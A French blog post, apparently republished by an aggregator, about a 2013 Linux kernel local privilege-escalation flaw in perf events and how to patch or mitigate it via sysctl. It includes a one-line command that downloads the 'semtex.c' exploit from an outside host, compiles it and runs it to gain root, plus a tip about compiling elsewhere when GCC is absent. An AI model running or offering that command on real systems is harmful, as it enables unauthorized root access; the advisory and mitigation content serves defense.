PROJET AUTOBLOG


Planet-Libre

source: Planet-Libre

⇐ retour index

Blogmotion : Exploiter puis corriger l’exploit root local sur Linux

vendredi 17 mai 2013 à 09:05

Une faille très bête mais très efficace touche le kernel Linux. Elle concerne les kernels compris entre :

si une valeur précise est activée dans les options de compilations du noyau : CONFIG_PERF_EVENTS.

Elle permet à un simple utilisateur de devenir root, sans mot de passe bien sûr (peut aussi faire crasher le système).

exploit-root-linux

A la différence des failles généralement découvertes celle-ci est très simple à utiliser, voici comment s'en prémunir.

L'exploit

En cause : la mauvaise déclaration d'un pointeur rapidement corrigé sur le dépôt git de kernel.org.

Ayant fraîchement installé Debian 7, je n'ai pas tardé de me rendre compte que la faille fonctionne parfaitement comme le montre l'illustration du billet ci-dessus.

Pour utiliser l'exploit :

wget http://fucksheep.org/~sd/warez/semtex.c --quiet && gcc-4.6 -O2 semtex.c && ./a.out

Une fois la faille corrigée vous obtiendrez : a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.

Autant le dire : ne trainez pas à corriger cette faille !

Du côté des Debian cela a été corrigé dans Wheezy (stable) avec le déploiement du kernel 3.2.41-2+deb7u2, pour les autres distributions le lien est présent en haut de la page de correctif Debian. RHEL 4 et 5 ne seraient pas affecté d'après RedHat, contrairement à la version 6 et MRG 2 (source).

Si vous êtes chez OVH je vous invite à lire le topic associé puisque les kernels sont déjà dispo.

Si vous ne voulez pas patcher de suite, vous pouvez contourner le problème de la façon suivante :

  1. Ajouter "kernel.perf_event_paranoid = 2" dans le fichier /etc/sysctl.conf
  2. Exécuter la commande suivante en étant root (pour éviter le reboot) :  sysctl -p

A vos upgrade, et vite car déjà plus de 48h se sont écoulées avant l'arrivée du patch.

Attention : même si GCC n'est pas disponible dans un environnement (chrooté par exemple) rien n'empêche de compiler avec GCC sur un serveur ayant la même architecture puis de récupérer le binaire afin de l’exécuter. Là aussi c'est bête, mais ça fonctionne si votre serveur est faillible.

Vous devriez me suivre sur Twitter : @xhark

Article original écrit par Mr Xhark publié sur Blogmotion le 17/05/2013 | 3 commentaires |
Attention : l'intégralité de ce billet est protégée par la licence Creative Commons

Vous risquez d'être aussi intéressé par :

Gravatar de Blogmotion
Original post of Blogmotion.Votez pour ce billet sur Planet Libre.

Articles similaires